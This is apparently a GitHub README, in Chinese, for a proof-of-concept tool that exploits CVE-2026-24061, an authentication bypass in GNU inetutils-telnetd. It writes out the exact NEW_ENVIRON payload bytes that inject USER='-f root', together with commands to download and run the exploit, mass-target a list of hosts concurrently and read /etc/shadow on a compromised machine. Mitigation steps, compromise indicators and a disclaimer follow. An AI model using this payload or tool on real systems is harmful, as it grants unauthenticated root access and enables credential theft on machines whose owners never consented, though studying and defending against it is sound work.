SystemVll/CVE-2026-24061

GitHub: SystemVll/CVE-2026-24061

一个利用 GNU inetutils-telnetd 中 CVE-2026-24061 认证绕过漏洞的概念验证工具,允许未经认证即获取远程 root 权限。

Stars: 5 | Forks: 1

# CVE-2026-24061 ## GNU inetutils-telnetd - 远程认证绕过 一个用于利用 CVE-2026-24061 漏洞的安全研究工具。该漏洞是 GNU inetutils-telnetd 中存在的一个严重的远程认证绕过漏洞,允许攻击者在无需认证的情况下直接获取 root shell 访问权限。 ## 目录 - [漏洞概述](#vulnerability-summary) - [受影响版本](#affected-versions) - [技术分析](#technical-analysis) - [前置条件](#prerequisites) - [安装说明](#installation) - [用法](#usage) - [输出参考](#output-reference) - [漏洞利用方法](#exploitation-methodology) - [缓解与修复](#mitigation-and-remediation) - [入侵指标](#indicators-of-compromise) - [法律免责声明](#legal-disclaimer) - [参考资料](#references) - [致谢](#credits) ## 漏洞概述 | 字段 | 值 | |-------|-------| | CVE 标识符 | CVE-2026-24061 | | CVSS v3.1 评分 | 9.8 (严重) | | CVSS 向量 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | | CWE 分类 | CWE-88:命令中参数分隔符的不当中和 | | 供应商 | GNU Project | | 产品 | inetutils-telnetd | | 披露日期 | 2026 年 1 月 20 日 | | 补丁可用性 | 待定 | ### 执行摘要 GNU inetutils-telnetd 2.7 及之前版本中存在一个严重漏洞,该漏洞允许未经认证的远程攻击者完全绕过认证,并立即获得 root shell 访问权限。该漏洞通过 NEW_ENVIRON telnet 选项被利用,攻击者通过注入一个特别构造的、值为 "-f root" 的 USER 环境变量,即可绕过所有认证机制。 ### 影响评估 - **机密性**:系统数据被完全泄露 - **完整性**:以 root 权限获得系统的完全控制权 - **可用性**:可能导致系统被完全接管或引发拒绝服务攻击 - **影响范围**:不变 - 漏洞利用仅影响存在漏洞的 telnet 服务 ## 受影响版本 | 版本范围 | 状态 | |---------------|--------| | <= 2.7 | 受影响 | | > 2.7 | 补丁状态待定 | ## 技术分析 ### 漏洞根源 该漏洞源于 telnetd 的 NEW_ENVIRON 选项处理程序对 USER 环境变量的验证不当。在处理 NEW_ENVIRON telnet 选项时,telnetd 服务在将 USER 变量值传递给登录进程之前未能对其进行净化。通过将 USER 设置为 "-f root",攻击者注入了命令行参数,这些参数强制认证过程对 root 用户直接成功,而无需任何凭据。 ### 攻击向量 1. 攻击者连接到 telnetd 服务(通常是 23 端口) 2. 在 telnet 选项协商期间,服务器请求 NEW_ENVIRON 数据 3. 攻击者响应将 USER 环境变量设置为 "-f root" 4. 恶意参数绕过了认证检查 5. 无需任何密码提示即可立即获得 root shell 6. 实现对系统的完全控制 ### 利用复杂性 - **前置条件**:拥有目标 telnetd 服务的网络访问权限 - **认证**:无需认证 - **用户交互**:无 - **攻击复杂性**:低 ## 前置条件 ### 系统要求 - Python 3.7 或更高版本 - 与目标 telnetd 实例的网络连接 - 拥有执行 Python 脚本的足够权限 ### 依赖项 所有依赖项均为 Python 标准库的一部分: | 包名 | 用途 | |---------|---------| | socket | 网络通信 | | select | I/O 多路复用 | | sys | 系统交互 | | os | 操作系统接口 | | threading | 并发利用目标 | | datetime | 时间戳格式化 | ## 安装说明 ### 方法 1:使用 Git ``` # 克隆 repository git clone https://github.com/SystemVll/CVE-2026-24061.git cd CVE-2026-24061 # 运行 exploit python3 main.py -u ``` ### 方法 2:直接下载 ``` # 下载 exploit curl -O https://raw.githubusercontent.com/SystemVll/CVE-2026-24061/main/main.py # 使其可执行 (Linux/macOS) chmod +x main.py # 运行 exploit python3 main.py -u ``` ### 方法 3:手动安装 ``` # 确保已安装 Python 3.7+ python3 --version # 下载并运行 python3 main.py -u ``` ## 用法 ### 命令行界面 ``` Usage: python3 main.py -u [-p ] [-usr ] python3 main.py -l [-p ] [-usr ] echo "commands" | python3 main.py -u Arguments: -u Single target IP address or hostname -l Path to file containing target IPs (one per line) -p Target port (default: 23) -usr User to exploit as (default: root) ``` ### 单目标利用 利用单个 telnetd 实例: ``` # 基本利用 (默认端口 23, 用户 root) python3 main.py -u 192.168.1.100 # 自定义端口 python3 main.py -u 192.168.1.100 -p 2323 # 不同用户 python3 main.py -u 192.168.1.100 -usr admin ``` ### 命令执行模式 以非交互方式执行命令: ``` # 单个命令 echo "id; whoami; uname -a" | python3 main.py -u 192.168.1.100 # 多个命令 echo "cat /etc/passwd; cat /etc/shadow" | python3 main.py -u 192.168.1.100 # 带输出重定向的命令 echo "ps aux > /tmp/processes.txt" | python3 main.py -u 192.168.1.100 ``` ### 批量目标利用 从文件中利用多个目标: ``` python3 main.py -l targets.txt python3 main.py -l targets.txt -p 2323 python3 main.py -l targets.txt -usr admin ``` **目标文件格式** (`targets.txt`): ``` 192.168.1.100 192.168.1.101 10.0.0.50 172.16.0.25 telnet.example.com ``` 注意事项: - 每行一个目标 - IP 地址或主机名 - 空行将被忽略 - 通过 threading 并发利用目标 ## 输出参考 ### 状态指示器 | 指示器 | 颜色 | 描述 | |-----------|-------|-------------| | `[SUCCESS]` | 绿色 | 成功连接到目标 | | `[EXPLOIT]` | 绿色 | 成功发送利用 payload | | `[INFO]` | 蓝色 | 关于当前操作的信息提示 | | `[ERROR]` | 红色 | 连接失败、超时或利用错误 | | `[WARNING]` | 黄色 | 警告消息(当前未使用) | ### 输出示例 ``` ╔═══════════════════════════════════════════════════════════════╗ ║ CVE-2026-24061 - GNU inetutils-telnetd Auth Bypass ║ ║ ║ ║ CVSS Score: 9.8 (Critical) ║ ║ Impact: Remote Authentication Bypass - Instant Root Shell ║ ║ ║ ║ This tool is part of the HGrab Framework. ║ ╚═══════════════════════════════════════════════════════════════╝ [2026-01-23 14:32:15] [INFO] Target: 192.168.1.100:23, User: root [2026-01-23 14:32:15] [SUCCESS] Connected to 192.168.1.100:23 [2026-01-23 14:32:15] [EXPLOIT] Sent payload: USER='-f root' [2026-01-23 14:32:15] [INFO] Interactive mode - type commands # id uid=0(root) gid=0(root) groups=0(root) # whoami root ``` ## 漏洞利用方法 ### Telnet 协议协商过程 该漏洞利用了 telnet 协议的协商阶段: 1. **初始连接**:建立到目标端口的 TCP 连接 2. **选项协商**:服务器发送各种 telnet 选项的 DO/WILL 命令 3. **TTYPE 同意**:客户端同意发送终端类型 (WILL TTYPE) 4. **TSPEED 同意**:客户端同意发送终端速度 (WILL TSPEED) 5. **NEW_ENVIRON 同意**:客户端同意发送环境变量 (WILL NEW_ENVIRON) 6. **子协商**:服务器请求环境变量 (SB NEW_ENVIRON SEND) 7. **Payload 注入**:客户端在 NEW_ENVIRON 响应中发送 USER="-f root" 8. **绕过认证**:服务器处理恶意的 USER 变量 9. **Shell 访问**:无需认证即授予 root shell ### Payload 结构 ``` # Telnet IAC (Interpret As Command) = 255 # SB (Subnegotiation Begin) = 250 # SE (Subnegotiation End) = 240 # NEW_ENVIRON option = 39 payload = bytes([ 255, # IAC 250, # SB 39, # NEW_ENVIRON 0, # IS 0, # VAR ]) + b"USER" + bytes([1]) + b"-f root" + bytes([ 255, # IAC 240 # SE ]) ``` ### 交互会话处理 - **输入多路复用**:使用 `select.select()` 同时监控 socket 和 stdin - **非阻塞 I/O**:配置 socket 进行非阻塞操作 - **Telnet 处理**:从输出中剥离 IAC 序列以实现清晰显示 - **超时管理**:命令执行设置 30 秒超时 ## 缓解与修复 ### 立即采取的行动 1. **禁用 telnetd**:立即停止并禁用 telnetd 服务 # 基于 systemd 的系统 sudo systemctl stop telnetd sudo systemctl disable telnetd # 基于 xinetd 的系统 sudo service xinetd stop sudo chkconfig telnet off 2. **防火墙规则**:在防火墙级别阻止 telnet 端口 (23) # iptables sudo iptables -A INPUT -p tcp --dport 23 -j DROP # firewalld sudo firewall-cmd --permanent --remove-service=telnet sudo firewall-cmd --reload 3. **网络隔离**:从面向互联网的系统中移除 telnet 服务 - 仅使用内部网络段 - 实施网络访问控制列表 (ACL) ### 长期建议 | 行动 | 优先级 | 描述 | |--------|----------|-------------| | 迁移至 SSH | 严重 | 使用 SSH 替换 telnet 进行远程访问 | | 补丁管理 | 严重 | 监控并应用安全更新 | | 服务审计 | 高 | 识别并禁用不必要的网络服务 | | 网络分段 | 高 | 将关键系统与公共网络隔离 | | 入侵检测 | 中 | 部署 IDS/IPS 以检测利用尝试 | | 访问控制 | 中 | 为远程服务实施 IP 白名单 | ### 替代方案 **使用 SSH 代替 Telnet:** ``` # 安装 OpenSSH server sudo apt-get install openssh-server # Debian/Ubuntu sudo yum install openssh-server # RHEL/CentOS # 启用并启动 SSH sudo systemctl enable sshd sudo systemctl start sshd ``` ### 缓解后的验证 ``` # 验证 telnetd 未运行 sudo netstat -tlnp | grep :23 sudo ss -tlnp | grep :23 # 如果已正确禁用,应无返回结果 ``` ## 入侵指标 ### 日志分析 检查系统日志中是否存在以下模式: **认证日志:** ``` # 检查异常登录模式 sudo grep telnetd /var/log/auth.log sudo grep telnetd /var/log/secure # 查找可疑的 USER 环境变量 sudo grep "USER.*-f" /var/log/auth.log ``` **网络日志:** - 来自意外 IP 地址的 Telnet 连接 - 在正常运行时间之外对 23 端口的连接 - 对 telnet 服务的多次快速连接 ### 系统痕迹 - 以 root 身份运行的意外进程 - 被修改的系统配置文件 - 未经授权的用户账户 - /root/.ssh/authorized_keys 中出现新的 SSH 密钥 - 可疑的 cron 任务或计划任务 ### 网络指标 - 来自 telnet 服务进程的出站连接 - 向外部主机发送的数据泄露 - 反弹 shell 连接 - 源于被攻陷系统的端口扫描活动 - 尝试向其他内部系统进行的横向移动 ### 检测命令 ``` # 检查活动的 telnet 连接 sudo netstat -antp | grep :23 # 审查最近的 root 登录 sudo last | grep root # 检查被修改的系统文件 sudo rpm -Va # RHEL/CentOS sudo debsums -c # Debian/Ubuntu # 列出 root 用户的进程 sudo ps aux | grep root # 检查未经授权的 SSH keys sudo cat /root/.ssh/authorized_keys ``` ## 法律免责声明 **重要提示:使用前请阅读** 此工具严格仅用于: - 授权的安全评估和渗透测试 - 在受控环境中进行的教育和研究目的 - 经过适当授权的防御性安全操作 - 对您拥有或明确获得测试许可的系统进行的漏洞评估 **禁止的用途:** - 未经授权访问计算机系统或网络 - 未经所有者明确书面同意利用系统 - 任何违反地方、州、联邦或国际法律的活动 - 恶意活动或未经授权的系统入侵 **责任:** 本软件的作者、贡献者和分发者对使用此工具进行的误用、破坏或非法活动不承担任何责任或义务。用户需自行全权负责: - 确保遵守所有适用的法律和法规 - 在进行安全测试之前获得适当的授权 - 因使用或滥用本软件而产生的任何后果 **法律声明:** 未经授权访问计算机系统是严重的刑事犯罪。违规行为可能受到以下法律的起诉: - 计算机欺诈和滥用法 (CFAA) - 美国 (18 U.S.C. § 1030) - 计算机滥用法案 1990 - 英国 - 欧盟关于打击信息系统攻击的指令 - 全球其他司法管辖区的类似立法 处罚可能包括监禁、巨额罚款和民事责任。 **使用此工具,即表示您已阅读、理解并同意遵守本免责声明以及所有适用法律。** ## 参考资料 ### 官方资源 - [GNU Inetutils 主页](https://www.gnu.org/software/inetutils/) - [GNU Inetutils 文档](https://www.gnu.org/software/inetutils/manual/) ### 漏洞信息 - [NVD - CVE-2026-24061](https://nvd.nist.gov/vuln/detail/CVE-2026-24061) - [MITRE CVE 记录](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24061) - [OpenWall 披露 (2026 年 1 月 20 日)](http://www.openwall.com/lists/oss-security/2026/01/20/2) - [OpenWall 讨论 (2026 年 1 月 20 日)](https://www.openwall.com/lists/oss-security/2026/01/20/8) - [OpenWall 更新 (2026 年 1 月 22 日)](http://www.openwall.com/lists/oss-security/2026/01/22/1) ### 相关文档 - [CWE-88:参数分隔符的不当中和](https://cwe.mitre.org/data/definitions/88.html) - [Telnet 协议规范 (RFC 854)](https://tools.ietf.org/html/rfc854) - [Telnet 环境选项 (RFC 1408)](https://tools.ietf.org/html/rfc1408) - [OWASP 命令注入](https://owasp.org/www-community/attacks/Command_Injection) ### 安全最佳实践 - [NIST 远程访问指南](https://csrc.nist.gov/publications/) - [CIS 基准测试](https://www.cisecurity.org/cis-benchmarks/) - [SANS 安全资源](https://www.sans.org/security-resources/) ## 致谢 - **漏洞利用作者**:IRIS C2 团队 - **框架**:HGrab 框架的一部分 - **发现者**:安全研究社区 - **披露**:OpenWall 邮件列表贡献者 ## 更新日志 | 版本 | 日期 | 变更 | |---------|------|---------| | 1.0.0 | 2026-01-23 | 初始版本 | ## 支持与联系 如有任何问题、疑问或贡献: - **问题**:通过 GitHub Issues 报告错误或申请功能 - **安全**:向维护者负责任地报告漏洞 - **贡献**:欢迎提交 Pull requests ## 许可证 本项目按“原样”提供,仅用于授权的安全研究和教育目的。不提供任何明示或暗示的保证。使用风险自负,并需遵守所有适用的法律和法规。 **仅在获得适当授权的情况下使用**
标签:PoC, Telnet, 暴力破解, 编程工具, 远程代码执行, 逆向工具